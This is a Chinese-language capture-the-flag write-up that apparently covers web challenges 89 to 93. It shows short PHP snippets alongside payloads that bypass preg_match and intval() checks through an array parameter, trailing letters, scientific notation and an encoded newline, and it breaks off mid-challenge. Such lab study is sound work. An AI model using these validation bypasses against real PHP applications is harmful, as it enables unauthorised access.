web 89
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
利用数组绕过:/?num[]=0
web 90
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
intval()函数用来获取整数值,当参数base为0的时候,遇到字母就会停止
php的弱类型/?num=4476a
web 91
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
观察正则表达式
- 第一个:
'/^php$/im'
,$匹配输入字符串的结尾位置,匹配php且后面的修饰符有个m,表示多行匹配
- 第二个:
'/^php$/i'
相比下没有了多行匹配
所以对于这题可以使用换行绕过,换行解析漏洞
可以在hackbar里面url编码换行符,编码完是%0a
payload:cmd=a%0aphp
web 92
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
这题不能像上面一样在后面加字母就绕过了
php有个特殊的字母:e,可以表示科学计数法
但是当intval()读取到e的时候就会停止
payload:?num=4476e123
web 93
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476